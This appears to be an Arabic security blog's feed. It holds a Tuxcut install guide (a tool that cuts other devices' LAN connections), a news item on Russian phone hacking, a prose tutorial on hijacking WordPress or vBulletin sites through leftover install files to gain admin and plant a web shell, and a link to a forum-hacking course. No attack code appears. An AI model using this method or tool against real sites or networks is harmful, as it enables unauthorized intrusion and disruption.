<a href="https://github.com/a-atalla/tuxcut/releases" rel="nofollow" target="_blank">https://github.com/a-atalla/tuxcut/releases</a><br /> <br /> <b>الافضل تنزيل الاداة من الرابط ده عشان تم عمل نسخة من الاداة متوافقة مع انظمة <span style="color: red;">Red Hat</span></b><br /> <b>دلوقتي بعد تنزيل الاداة نروح علي <span style="color: red;">مجلد التنزيلات</span> في نظامك</b><br /> <b><span style="color: red;">/home/user/Downloads/</span></b><br /> <b><span style="color: red;"><br /></span></b> <br /> <h3 style="text-align: right;"> <b>الشرح ده لانظمة <span style="color: red;">Linux </span>المبنية علي <span style="color: red;">Debian/Ubuntu</span></b></h3> <br /> <b>الاصدار علي الرابط التالي</b><br /> <a href="https://github.com/a-atalla/tuxcut/releases/download/v6.0beta/tuxcut_6.0beta2_amd64.deb" rel="nofollow" target="_blank">https://github.com/a-atalla/tuxcut/releases/download/v6.0beta/tuxcut_6.0beta2_amd64.deb</a><br /> <br /> <b>نكتب الامر <span style="color: red;">ls </span>عشان يعرضلنا الملفات الموجودة في المسار ده</b><br /> <b>دلوقتي نكتب الامر التالي</b><br /> <span style="color: red;"><b>sudo dpkg -i tuxcut_6.0beta2_amd64.deb</b></span><b><br /></b> <b>نشوف الصورة دي</b><br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://i.imgur.com/Iy60nIW.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="تثبيت,install,اداة,utility,التحكم,control,بالانترنت,internet,تكس,كت,tux,cut,علي,on,انظمة,system,لينكس,linux,البديل,alternative,ل,to,نت,كات,net,cut,وايضا,also,سيلفش,نت,selfish,net" border="0" data-original-height="458" data-original-width="658" height="222" src="https://i.imgur.com/Iy60nIW.png" title="تثبيت install اداة utility التحكم control بالانترنت internet تكس كت tux cut علي on انظمة system لينكس linux البديل alternative ل to نت كات net cut وايضا also سيلفش نت selfish net" width="320" /></a></div> <br /> <b>نكتب الامر التالي عشان يقوم بتثبيت اي اعتماديات ناقصة</b><br /> <b><span style="color: red;">sudo apt-get install -f</span></b><br /> <b><br /></b> <b>نشوف الصورة دي</b><br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://i.imgur.com/IBOXG7H.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="تثبيت,install,اداة,utility,التحكم,control,بالانترنت,internet,تكس,كت,tux,cut,علي,on,انظمة,system,لينكس,linux,البديل,alternative,ل,to,نت,كات,net,cut,وايضا,also,سيلفش,نت,selfish,net" border="0" data-original-height="327" data-original-width="660" height="158" src="https://i.imgur.com/IBOXG7H.png" title="تثبيت install اداة utility التحكم control بالانترنت internet تكس كت tux cut علي on انظمة system لينكس linux البديل alternative ل to نت كات net cut وايضا also سيلفش نت selfish net" width="320" /></a></div> <br /> <b>دلوقتي نكتب الامر التالي علشان يفعل الاداة كخدمة</b><br /> <b><span style="color: red;">sudo systemctl start tuxcutd</span></b><br /> <b><span style="color: red;"><br /></span></b> <br /> <h3 style="text-align: right;"> <b>الشرح ده لانظمة <span style="color: red;">Linux </span>المبنية علي <span style="color: red;">Red Hat</span></b></h3> <br /> <b>الاصدار علي الرابط التالي</b><br /> <a href="https://github.com/a-atalla/tuxcut/releases/download/v6.0beta/tuxcut-6.0beta-1.x86_64.rpm" rel="nofollow" target="_blank">https://github.com/a-atalla/tuxcut/releases/download/v6.0beta/tuxcut-6.0beta-1.x86_64.rpm</a><br /> <br /> <b>نكتب الامر التالي عشان نقوم بتثبيت الاداة</b><br /> <b><span style="color: red;">dnf install tuxcut-6.0beta-1.x86_64.rpm</span></b><br /> <b><br /></b> <b>نكتب الامر التالي عشان يتم تفعيلها كخدمة</b><br /> <b><span style="color: red;">systemctl start tuxcutd</span></b><br /> <b><br /></b> <b>بعد كده نقدر نشغلها من قائمة التطبيقات بكل سهولة</b><br /> <b>بعد ما نفتح الاداة نختار الشبكة المحلية <span style="color: red;">eth0 </span>او الشبكة اللاسلكية <span style="color: red;">wlan0</span></b><br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://i.imgur.com/jougr74.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="تثبيت,install,اداة,utility,التحكم,control,بالانترنت,internet,تكس,كت,tux,cut,علي,on,انظمة,system,لينكس,linux,البديل,alternative,ل,to,نت,كات,net,cut,وايضا,also,سيلفش,نت,selfish,net" border="0" data-original-height="139" data-original-width="202" src="https://i.imgur.com/jougr74.png" title="تثبيت install اداة utility التحكم control بالانترنت internet تكس كت tux cut علي on انظمة system لينكس linux البديل alternative ل to نت كات net cut وايضا also سيلفش نت selfish net" /></a></div> <br /> <b>بعد الضغط علي زرار <span style="color: red;">Refresh </span>او <span style="color: red;">تحديث</span> هنلاقي الاجهزة المتصلة بالشبكة ظهرت قدامنا</b><br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://i.imgur.com/UhHTKXg.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="تثبيت,install,اداة,utility,التحكم,control,بالانترنت,internet,تكس,كت,tux,cut,علي,on,انظمة,system,لينكس,linux,البديل,alternative,ل,to,نت,كات,net,cut,وايضا,also,سيلفش,نت,selfish,net" border="0" data-original-height="317" data-original-width="649" height="156" src="https://i.imgur.com/UhHTKXg.png" title="تثبيت install اداة utility التحكم control بالانترنت internet تكس كت tux cut علي on انظمة system لينكس linux البديل alternative ل to نت كات net cut وايضا also سيلفش نت selfish net" width="320" /></a></div> <br /> <b>والخيارات متاحة قدامك سواء <span style="color: red;">Cut </span>بمعني <span style="color: red;">قطع الاتصال</span> او <span style="color: red;">Resume </span>بمعني <span style="color: red;">اعادة الاتصال</span></b><br /> <b>الاداة بتدعم <span style="color: red;">اللغة العربية</span> برضو وده يخليها بديل قوي جداً لادوات التحكم بالاتصالات</b><br /> <b>اي استفسار يا ريت يكون في تعليق او علي صفحة الاسك بتاعي</b><br /> <a href="https://ask.fm/ElSyad" rel="nofollow" target="_blank">https://ask.fm/ElSyad</a><br /> <b><br /></b> <b>اي توضيح او تصحيح خطأ مرحب بيه طبعاً</b><br /> <b>موفقين ~</b><br /> <b><span style="color: red; font-size: large;">الصياد /.</span></b></div> </div> 1noالسلام عليكم ازاي الحال ؟ النهاردة هنتكلم عن اداة للتحكم في إتصال الانترنت لجميع المستخدمين علي الشبكة الاداة هي المعروفة بـ اسم Tuxcut وظيفة الاداة هي حماية انظمة Linux والتصدي ضد هجمات ARP Spoof الاداة ليها مميزات تانية برضو تقدر تشتغل بيها - إخفاء IP/MAC الخاص بنظامك عن ادوات ماسح ARP - سرد كل الاجهزة المتصلة بالشبكة - قطع الاتصال بين اي جهاز وبين الراوتر - التحكم وتحديد سرعة التنزيل او الرفع وده من خلال استخدام سكربت WonderSharper الاداة دي هي البديل لـ Netcut, SelfishNet الي شغالة علي انظمة Windows دلوقتي نيجي لطريقة تنزيل الاداة وتثبيتها علي انظمة Linux رابط الاداة التي بالشرح وهي النسخة القديمة https://sourceforge.net/projects/helal/files/repository/pool/main/t/tuxcut/tuxcut_5.0_all.deb/download اما الرابط الجديد للنسخة الاخيرة للاداة علي الرابط التالي https://github.com/a-atalla/tuxcut/releases الافضل تنزيل الاداة من الرابط ده عشان تم عمل نسخة من الاداة متوافقة مع انظمة Red Hat دلوقتي بعد تنزيل الاداة نروح علي مجلد التنزيلات في نظامك /home/user/Downloads/ الشرح ده لانظمة Linux المبنية علي Debian/Ubuntu الاصدار علي الرابط التالي https://github.com/a-atalla/tuxcut/releases/download/v6.0beta/tuxcut_6.0beta2_amd64.deb نكتب الامر ls عشان يعرضلنا الملفات الموجودة في المسار ده دلوقتي نكتب الامر التالي sudo dpkg -i tuxcut_6.0beta2_amd64.deb نشوف الصورة دي نكتب الامر التالي عشان يقوم بتثبيت اي اعتماديات ناقصة sudo apt-get install -f نشوف الصورة دي دلوقتي نكتب الامر التالي علشان يفعل الاداة كخدمة sudo systemctl start tuxcutd الشرح ده لانظمة Linux المبنية علي Red Hat الاصدار علي الرابط التالي https://github.com/a-atalla/tuxcut/releases/download/v6.0beta/tuxcut-6.0beta-1.x86_64.rpm نكتب الامر التالي عشان نقوم بتثبيت الاداة dnf install tuxcut-6.0beta-1.x86_64.rpm نكتب الامر التالي عشان يتم تفعيلها كخدمة systemctl start tuxcutd بعد كده نقدر نشغلها من قائمة التطبيقات بكل سهولة بعد ما نفتح الاداة نختار الشبكة المحلية eth0 او الشبكة اللاسلكية wlan0 بعد الضغط علي زرار Refresh او تحديث هنلاقي الاجهزة المتصلة بالشبكة ظهرت قدامنا والخيارات متاحة قدامك سواء Cut بمعني قطع الاتصال او Resume بمعني اعادة الاتصال الاداة بتدعم اللغة العربية برضو وده يخليها بديل قوي جداً لادوات التحكم بالاتصالات اي استفسار يا ريت يكون في تعليق او علي صفحة الاسك بتاعي https://ask.fm/ElSyad اي توضيح او تصحيح خطأ مرحب بيه طبعاً موفقين ~ الصياد /.noreply@blogger.com (ElSyad)السلام عليكم ازاي الحال ؟ النهاردة هنتكلم عن اداة للتحكم في إتصال الانترنت لجميع المستخدمين علي الشبكة الاداة هي المعروفة بـ اسم Tuxcut وظيفة الاداة هي حماية انظمة Linux والتصدي ضد هجمات ARP Spoof الاداة ليها مميزات تانية برضو تقدر تشتغل بيها - إخفاء IP/MAC الخاص بنظامك عن ادوات ماسح ARP - سرد كل الاجهزة المتصلة بالشبكة - قطع الاتصال بين اي جهاز وبين الراوتر - التحكم وتحديد سرعة التنزيل او الرفع وده من خلال استخدام سكربت WonderSharper الاداة دي هي البديل لـ Netcut, SelfishNet الي شغالة علي انظمة Windows دلوقتي نيجي لطريقة تنزيل الاداة وتثبيتها علي انظمة Linux رابط الاداة التي بالشرح وهي النسخة القديمة https://sourceforge.net/projects/helal/files/repository/pool/main/t/tuxcut/tuxcut_5.0_all.deb/download اما الرابط الجديد للنسخة الاخيرة للاداة علي الرابط التالي https://github.com/a-atalla/tuxcut/releases الافضل تنزيل الاداة من الرابط ده عشان تم عمل نسخة من الاداة متوافقة مع انظمة Red Hat دلوقتي بعد تنزيل الاداة نروح علي مجلد التنزيلات في نظامك /home/user/Downloads/ الشرح ده لانظمة Linux المبنية علي Debian/Ubuntu الاصدار علي الرابط التالي https://github.com/a-atalla/tuxcut/releases/download/v6.0beta/tuxcut_6.0beta2_amd64.deb نكتب الامر ls عشان يعرضلنا الملفات الموجودة في المسار ده دلوقتي نكتب الامر التالي sudo dpkg -i tuxcut_6.0beta2_amd64.deb نشوف الصورة دي نكتب الامر التالي عشان يقوم بتثبيت اي اعتماديات ناقصة sudo apt-get install -f نشوف الصورة دي دلوقتي نكتب الامر التالي علشان يفعل الاداة كخدمة sudo systemctl start tuxcutd الشرح ده لانظمة Linux المبنية علي Red Hat الاصدار علي الرابط التالي https://github.com/a-atalla/tuxcut/releases/download/v6.0beta/tuxcut-6.0beta-1.x86_64.rpm نكتب الامر التالي عشان نقوم بتثبيت الاداة dnf install tuxcut-6.0beta-1.x86_64.rpm نكتب الامر التالي عشان يتم تفعيلها كخدمة systemctl start tuxcutd بعد كده نقدر نشغلها من قائمة التطبيقات بكل سهولة بعد ما نفتح الاداة نختار الشبكة المحلية eth0 او الشبكة اللاسلكية wlan0 بعد الضغط علي زرار Refresh او تحديث هنلاقي الاجهزة المتصلة بالشبكة ظهرت قدامنا والخيارات متاحة قدامك سواء Cut بمعني قطع الاتصال او Resume بمعني اعادة الاتصال الاداة بتدعم اللغة العربية برضو وده يخليها بديل قوي جداً لادوات التحكم بالاتصالات اي استفسار يا ريت يكون في تعليق او علي صفحة الاسك بتاعي https://ask.fm/ElSyad اي توضيح او تصحيح خطأ مرحب بيه طبعاً موفقين ~ الصياد /.networks, networks-secروسيا حاولت أختراق الالاف من هواتف جنود وضباط الناتو في بولندا والبلطيقhttps://web0sec.blogspot.com/2017/10/russia-tried-to-hack-thousands-of-phones-to-soldiers-and-officers-in-nato-in-poland-and-baltic.htmlarticlesnewsnoreply@blogger.com (ElSyad)Thu, 5 Oct 2017 22:03:00 -0700tag:blogger.com,1999:blog-8590898748877079327.post-5817041540195500840<div dir="rtl" style="text-align: right;" trbidi="on"> <div style="text-align: right;"> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjx_CdjKUQfahyHuhpeQi3v8GEJdHTacJUGm1e2Ld4uq80aAlh9Ct-xhE6C1Jdc5wGCHusXJL9XyG-vIhYPvavyXpDO9lIgILWN-_6_X9qixvGQxbtRPHlMw0SBxWDWo-uMfvYz2eX1Arrf/s1600/684x384_391805.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="روسيا,russia,حاولت,tried,اختراق,hack,الالاف,thousands,من,of,هواتف,phones,جنود,soldiers,و,and,ضباط,officers,الناتو,nato,في,in,بولندا,poland,و,and,البلطيق,baltic" border="0" data-original-height="384" data-original-width="684" height="179" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjx_CdjKUQfahyHuhpeQi3v8GEJdHTacJUGm1e2Ld4uq80aAlh9Ct-xhE6C1Jdc5wGCHusXJL9XyG-vIhYPvavyXpDO9lIgILWN-_6_X9qixvGQxbtRPHlMw0SBxWDWo-uMfvYz2eX1Arrf/s320/684x384_391805.jpg" title="روسيا russia حاولت tried اختراق hack الالاف thousands من of هواتف phones جنود soldiers و and ضباط officers الناتو nato في in بولندا poland و and البلطيق baltic" width="320" /></a></div> <br /></div> <div style="text-align: right;"> <span style="background-color: white; font-family: &quot;noto naskh arabic&quot; , sans-serif; font-size: 16px;">للحصول على معلومات وخطط قوات حلف شمال الأطلسي، تسعى روسيا للتجسس على عناصر وضباط هذه القوات من بينهم القوات الأميركية. اما الطريقة فكانت قرصنة هواتفهم الذكية الشخصية.</span><br /> <span style="background-color: white; font-family: &quot;noto naskh arabic&quot; , sans-serif; font-size: 16px;"><br /></span> <span style="background-color: white; font-family: &quot;noto naskh arabic&quot; , sans-serif; font-size: 16px;"><span style="font-family: &quot;noto naskh arabic&quot; , sans-serif; text-align: start;">هذا ما أوردته صحيفة وول ستريت جورنال يوم الأربعاء نقلاً عن عناصر وضباط الحلف. وأشارت الى ان روسيا حاولت قرصنة الهواتف الذكية لحوالى أربعة آلاف جندي وضابط موجودين في بولندا والبلطيق منذ حزيران/يونيو. هذا لاستخدام روسيا طائرات بلا طيار لمراقبة هذه القوات.</span></span><br /> <span style="background-color: white; font-family: &quot;noto naskh arabic&quot; , sans-serif; font-size: 16px;"><span style="font-family: &quot;noto naskh arabic&quot; , sans-serif; text-align: start;"><br /></span></span> <span style="background-color: white; font-family: &quot;noto naskh arabic&quot; , sans-serif; font-size: 16px;"><span style="font-family: &quot;noto naskh arabic&quot; , sans-serif; text-align: start;">والمهمة الرئيسية التي حددت لهذه القوات هي ردع الاعمال “العدوانية الروسية” في المنطقة.</span></span><br /> <span style="background-color: white; font-family: &quot;noto naskh arabic&quot; , sans-serif; font-size: 16px;"><span style="font-family: &quot;noto naskh arabic&quot; , sans-serif; text-align: start;"><br /></span></span> <span style="background-color: white; font-family: &quot;noto naskh arabic&quot; , sans-serif; font-size: 16px;"><span style="font-family: &quot;noto naskh arabic&quot; , sans-serif; text-align: start;">قائد القوات الأميركية العاملة في بولندا كريستوفر لورو صرّح للصحيفة الأميركية انه بعد تدريب عسكري عثر على دليل يشير الى ان معرفاً رقمياً (أو بروتوكول انترنت IP address) روسياً حاول الدخول الى هاتفه. لقد كان صاحب هذا المعرف الرقمي قد حدد مكان الضابط الأميركي.</span></span><br /> <span style="background-color: white; font-family: &quot;noto naskh arabic&quot; , sans-serif; font-size: 16px;"><span style="font-family: &quot;noto naskh arabic&quot; , sans-serif; text-align: start;"><br /></span></span> <span style="background-color: white; font-family: &quot;noto naskh arabic&quot; , sans-serif; font-size: 16px;"><span style="font-family: &quot;noto naskh arabic&quot; , sans-serif; text-align: start;">وأضاف لورو ان ستة جنود آخرين يخدمون بإمرته حصل معهم الامر نفسه. وفي آذار/ مارس الماضي، واجد جندي أستوني ان احداً حاول الدخول لهاتفه، وبشكل تلقائي خرجت من هذا الهاتف موسيقى من نوع الهيب هوب. ويؤكد الجندي انه لم يسبق له ان حملّها على هاتفه.</span></span><br /> <span style="background-color: white; font-family: &quot;noto naskh arabic&quot; , sans-serif; font-size: 16px;"><span style="font-family: &quot;noto naskh arabic&quot; , sans-serif; text-align: start;"><br /></span></span> <span style="background-color: white; font-family: &quot;noto naskh arabic&quot; , sans-serif; font-size: 16px;"><span style="font-family: &quot;noto naskh arabic&quot; , sans-serif; text-align: start;">وتقول الصحيفة الأميركية انها اتصلت وزارة الدفاع الروسية للاستفسار عن هذه الحالات لكنها لم تلق رداً.</span></span><br /> <span style="background-color: white; font-family: &quot;noto naskh arabic&quot; , sans-serif; font-size: 16px;"><span style="font-family: &quot;noto naskh arabic&quot; , sans-serif; text-align: start;"><br /></span></span> <span style="background-color: white; font-family: &quot;noto naskh arabic&quot; , sans-serif; font-size: 16px;"><span style="font-family: &quot;noto naskh arabic&quot; , sans-serif; text-align: start;">ونقلاً عن كير جيل، أحد المسؤولين في برنامج “روسيا وأوراسيا” التابع لشاثام هاوس في المعهد الملكي البريطاني للشؤون الدولية، تضيف الصحيفة الأميركية ان “روسيا سعت دوماً لاستهداف جنود حلف شمال الأطلسي للتجسس والحصول على معلومات استخباراتية منهم“، لكن “مثل هذه الحملة من المضايقات والتخويف لم يسبق لها مثيل في الآونة الأخيرة”.</span></span></div> </div> 0شرح استهداف المواقع و السيرفرات عن طريق السكربتات الغير مثبتة او اعادة تثبيتها علي السيرفرhttps://web0sec.blogspot.com/2017/09/explain-targeting-websites-and-servers-via-uninstalled-scripts-or-reinstall-scripts-on-server.htmlwebappwebapp-hacknoreply@blogger.com (ElSyad)Thu, 21 Sep 2017 09:08:00 -0700tag:blogger.com,1999:blog-8590898748877079327.post-6656101878676113302<div dir="rtl" style="text-align: right;" trbidi="on"> <div style="text-align: right;"> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7zwfOVcSzs4iKEK83j8JPkGodfJZEQxk3BPXlwNbn1zvDc-QcTEVGiXNGrfW4wFBFxmgDdEF-qCJtCawKw1Eeln0VM1C7LmcgGb_ixxqIfmwOiQJPiSI_GsQ_xQmmv9JFkrnRKk80_hbM/s1600/wpvb.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="شرح,explain,استهداف,targeting,المواقع,websites,و,and,السيرفرات,servers,عن,طريق,via,السكربتات,scripts,الغير,مثبتة,uninstalled,او,or,اعادة,تثبيتها,reinstall,علي,on,السيرفر,server" border="0" data-original-height="150" data-original-width="150" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7zwfOVcSzs4iKEK83j8JPkGodfJZEQxk3BPXlwNbn1zvDc-QcTEVGiXNGrfW4wFBFxmgDdEF-qCJtCawKw1Eeln0VM1C7LmcgGb_ixxqIfmwOiQJPiSI_GsQ_xQmmv9JFkrnRKk80_hbM/s1600/wpvb.png" title="شرح explain استهداف targeting المواقع websites و and السيرفرات servers عن طريق via السكربتات scripts الغير مثبتة uninstalled او or اعادة تثبيتها reinstall علي on السيرفر server" /></a></div> <span style="color: white;">شرح explain استهداف targeting المواقع websites و and السيرفرات servers عن طريق via السكربتات scripts الغير مثبتة uninstalled او or اعادة تثبيتها reinstall علي on السيرفر server</span></div> <div style="text-align: right;"> السلام عليكم</div> <div style="text-align: right;"> ازاي الحال</div> <div style="text-align: right;"> النهاردة موضوعنا هيكون عن طريقة من طرق استهداف السيرفرات للحصول علي <span style="color: red;">access</span> علي السيرفر زي<span style="color: red;"> web shell</span> مثلا او اي حاجة تانية هنتكلم عن</div> <div style="text-align: right;"> شرح استهداف السيرفرات عن طريق السكربتات الغير مثبته و اعادة تثبيتها علي السيرفر</div> <div style="text-align: right;"> في بعض الاوقات بنحاول نستهدف اي سيرفر ونلاقي مفيش فيه اي ثغرات شائعة موجودة زي مثلا<span style="color: red;"> sql injection, shell upload</span> وغيرهم</div> <div style="text-align: right;"> الفكرة من الطريقة دي هي ان مدير الموقع <span style="color: red;">admin</span> بيكون لسه رافع السكربت اللي عاوز يشغله علي موقعه مثلا سكربت <span style="color: red;">wordpress</span> او سكربت <span style="color: red;">vbulletin</span></div> <div style="text-align: right;"> &nbsp;و بيكون ثبت السكربت ونسي انه يمسح ملف <span style="color: red;">install</span> بتاع السكربت او حتي انه لسه مش ثبت السكربت</div> <div style="text-align: right;"> &nbsp;اللي بيحصل اننا بنخش علي الملف ده وبنثبت السكربت اذا كان لسه مش مثبت او بنعيد تثبيته <span style="color: red;">reinstall</span> مرة تانية اذا كان مثبت</div> <div style="text-align: right;"> &nbsp;الطريقة دي كمان شائعة علي فكرة وانا شرحتها قبل كده في المنتديات ولكن الشرح مش واضح زي ده</div> <div style="text-align: right;"> &nbsp;الاستفادة كبيرة اوي من الطريقة دي يا جماعة لان بمجرد تثبيت السكربت هيكون عندك صلاحية المدير <span style="color: red;">admin</span> للموقع ده وهتقدر تسجل دخول الي لوحة تحكم السكربت</div> <div style="text-align: right;"> &nbsp;ومنه تقدر ترفع<span style="color: red;"> web shell</span> بتاعك بكل سهولة وتتحكم في الموقع بالكامل او حتي بالسيرفر في حالة تخطيت حماية السيرفر</div> <div style="text-align: right;"> &nbsp;نيجي لتعريف بعض المصطلحات الاساسية</div> <div style="text-align: right;"> <br /></div> <div style="text-align: right;"> <span style="color: red;">&nbsp;ثغرة "exploit" ؟</span></div> <div style="text-align: right;"> هي جزء من البرمجيات, قطعة من البيانات او سلسلة من الاوامر التي تاخذ ميزة/افادة من خطأ برمجي او اصابة برمجية تتسبب في إحداث اداء غير متوقع او غير مرغوب به للبرمجيات او حتي للهاردوير</div> <div style="text-align: right;"> مثل تحقيق السيطرة علي جهاز الكمبيوتر , السماح بتصعيد الصلاحيات, او حتي هجمات حرمان الخدمة</div> <div style="text-align: right;"> هي ايضا عبارة عن خطأ برمجي في تطبيقات الويب عند كتابة المبرمج للسكربت وهنا قد تحدث ثغرات كثيرة ولها انواع ولها وظائف معينة لكل ثغرة سنقوم بشرحها بإذن الله</div> <div style="text-align: right;"> <br /></div> <div style="text-align: right;"> <span style="color: red;">ويب شل "web shell" ؟</span></div> <div style="text-align: right;"> هو برنامج خبيث يتم استخدامه من المهاجم (الهاكر) بقصد الحصول علي اتصال مستمر علي تطبيق ويب مخترق, الويب شل نفسه لا يمكنه الهجوم او استغلال ثغرة من علي بعد لذلك فهو الخطوه الثانية دائما للهاكر</div> <div style="text-align: right;"> الوظائف الشائعة للويب شل هي تنفيذ اوامر , سرد قواعد البيانات, تنفيذ اكواد لـ اللغة المبرمج بها الويب شل, ادارة الملفات والمجلدات وله استخدامات اخري كثيرة</div> <div style="text-align: right;"> في اغلب الحالات يكون الويب شل مبرمج بلغة php لانها اللغة الاكثر استخداما في تطبيقات الويب ولكن يمكن برمجته ايضا بلغات اخري مثل python او perl وغيرهم</div> <div style="text-align: right;"> <br /></div> <div style="text-align: right;"> <span style="color: red;">ويب سيرفر "web server" ؟</span></div> <div style="text-align: right;"> هو نظام حاسوب يعالج الطلبات من خلال http البروتوكول الاساسي لتوزيع المعلومات علي شبكة الانترنت, الوظيفة الاساسية للويب سيرفر هي تخزين, معالجة, وتوصيل صفحات الويب الي العملاء</div> <div style="text-align: right;"> هو خادم, جهاز كمبيوتر بيتم تثبيت عليه نظام تشغيل لينكس او ويندوز بيكون متصل بالانترنت بشكل مستمر, امكانيات الهاردوير عالية جدا ومخصصة للعمل كـ سيرفر</div> <div style="text-align: right;"> <br /></div> <div style="text-align: right;"> <span style="color: red;">سكربت "script" ؟</span></div> <div style="text-align: right;"> في لغات البرمجة, السكربت هو برنامج او سلسلة تعليمات مُفسرة او يتم حملها من برنامج اخر بدلا من معالج الحاسوب كـ برنامج مترجم</div> <div style="text-align: right;"> بعض اللغات صممت خصيصا كلغات برمجة script language والاكثر انتشارا مثل perl, javascript, php, python وغيرهم</div> <div style="text-align: right;"> وهناك انواع من لغات البرمجة مثلا لغات php, perl, python هي لغات يتم معالجتها من خلال الويب سيرفر للعمل علي مواقع الويب وهي ما تسمي بلغات من جانب السيرفر server side language</div> <div style="text-align: right;"> ولغات مثل javascript يتم معالجتها من خلال متصفح الويب وهي ما تسمي بـلغات من جانب العميل client side language</div> <div style="text-align: right;"> <span style="color: red;"><br /></span></div> <div style="text-align: right;"> <span style="color: red;">ووردبريس "wordpress" ؟</span></div> <div style="text-align: right;"> هو سكربت ادارة محتوي مجاني ومفتوح المصدر مبني علي لغة php ولغة mysql اول اصدار كان في عام 2003 ويدعم العديد من قواعد البيانات الاخري ويعمل علي انظمة التشغيل windows و linux</div> <div style="text-align: right;"> هو سكربت متعدد الاستخدامات ومتعدد التدوين وله العديد من الميزات وله ثيمات واضافات لتحسين عمل السكربت والموقع وسهوله استخدامه في الاغلب يتم استخدامه كـ مدونة</div> <div style="text-align: right;"> <br /></div> <div style="text-align: right;"> دلوقتي بعد ما شرحنا المصطلحات الاساسية نيجي بقي للتطبيق الفديو يا جماعة واحنا شرحنا علي سكربتين شائيعين وهما wordpress, vbulletin</div> <div style="text-align: right;"> طيب الفديو التوضيحي <span style="color: red;">لسكربت الووردبريس</span> علي الرابط التالي<br /> <br /></div> <div style="text-align: right;"> <div class="separator" style="clear: both; text-align: center;"> <iframe width="320" height="266" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/i9BWHRYcVTE/0.jpg" src="https://www.youtube.com/embed/i9BWHRYcVTE?feature=player_embedded" frameborder="0" allowfullscreen></iframe></div> <br /></div> <div style="text-align: right;"> <br /></div> <div style="text-align: right;"> طيب الفديو التوضيحي <span style="color: red;">لسكربت الفيبولتن</span> علي الرابط التالي</div> <div style="text-align: right;"> <br /> <div class="separator" style="clear: both; text-align: center;"> <iframe width="320" height="266" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/SFS96wHoiWs/0.jpg" src="https://www.youtube.com/embed/SFS96wHoiWs?feature=player_embedded" frameborder="0" allowfullscreen></iframe></div> <br /> <br /></div> <div style="text-align: right;"> كده نكون انتهينا من الدرس ده يا رجالة وان شاء الله هناك المزيد</div> <div style="text-align: right;"> اي اضافة او تعقيب بخصوص الدرس مرحب بيه</div> <div style="text-align: right;"> واي استفسارات يا ريت تكون علي حساب الاسك بتاعي</div> <div style="text-align: right;"> <a href="https://ask.fm/ElSyad" target="_blank">https://ask.fm/ElSyad</a></div> <div style="text-align: right;"> موفقين ~</div> <div style="text-align: right;"> <span style="color: red; font-size: large;">الصياد /.</span></div> <div style="text-align: right;"> <br /></div> </div> 0دورة أختراق المنتديات سكربت vbulletin برعاية ViRuSMaNhttps://web0sec.blogspot.com/2017/09/hacking-vbulletin-forums-course-by-ViRuSMaN.htmlcoursescourses-admincourses-hackcourses-pentestcourses-seccourses-webdevnoreply@blogger.com (ElSyad)Tue, 19 Sep 2017 14:38:00 -0700tag:blogger.com,1999:blog-8590898748877079327.post-2715304861103777738<div dir="rtl" style="text-align: right;" trbidi="on"> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_Uwvksk2c0dctIaxfVqg56LaFGeYTBnyMvAnDDQbOFr4LpjsPH1Ajjyvgd_N6bmsDybPkYgszTVO4KkwLppfjp50KofQWJA12p9AX0y9DATivVuGYE1slXnpq9Ojul97DrqZmdP9GmjuP/s1600/VBulletin.svg.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="دورة,course,اختراق,hacking,منتديات,forums,سكربت,script,فيبولتن,vbulletin,برعاية,by,فيروس,مان,ViRuSMaN" border="0" data-original-height="324" data-original-width="1280" height="81" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_Uwvksk2c0dctIaxfVqg56LaFGeYTBnyMvAnDDQbOFr4LpjsPH1Ajjyvgd_N6bmsDybPkYgszTVO4KkwLppfjp50KofQWJA12p9AX0y9DATivVuGYE1slXnpq9Ojul97DrqZmdP9GmjuP/s320/VBulletin.svg.png" title="دورة course اختراق hacking منتديات forums سكربت script فيبولتن vbulletin برعاية by فيروس مان ViRuSMaN" width="320" /></a></div> <br /> <br /> <span style="color: white;">دورة course اختراق hacking منتديات forums سكربت script فيبولتن vbulletin برعاية by فيروس مان ViRuSMaN</span><br /> <br /> السلام عليكم<br /> ازاى الحال<br /> بما ان ناس كتيرة سالتنى على الاسك من فترة على بدايتى والدورات اللى استفدت منها<br /> فالدورة دى من الدورات اللى فادتنى ولانها مخصصة لسكربت <span style="color: red;">vBulletin</span> المعروف للمنتديات<br /> ان شاء الله نحاول نشارك معاكم كمان الدورات الاخرى لعل حد يستفيد<br /> الدورة قديمة ولكن المحتوى جميل<br /> نصيحة شفتها لشخص اجنبى وعجبتنى بصراحة<br /> "<span style="color: red;">الدرس قديم ولكن المعلومة لا تبقى قديمة</span>"<br /> كل معلومة سواء انت عارفها او لا ارجع تانى شفها والتكرار يعلم الشطار<br /> <span style="color: red;">دورة ViRuSMaN لاختراق المنتديات</span><br /> لتحميل الدورة على موقع المديا فاير ده اللينك اللى كنت محمل منه الدورة<br /> <a href="http://www.mediafire.com/file/2ndt1y0t92c/" target="_blank">http://www.mediafire.com/file/2ndt1y0t92c/</a><br /> نسيت ان شاء الله نحاول ننزل دروس للتخطى لان شايف فى ناس بتشتكى من الحمايات<br /> مع ان لو واحد بحث كويس هيلاقى كتير تخطى<br /> موفقين ~<br /> <span style="color: red; font-size: large;">الصياد /.</span></div> 0Foodspotting Clone v1.0 - SQL Injection/Reflected 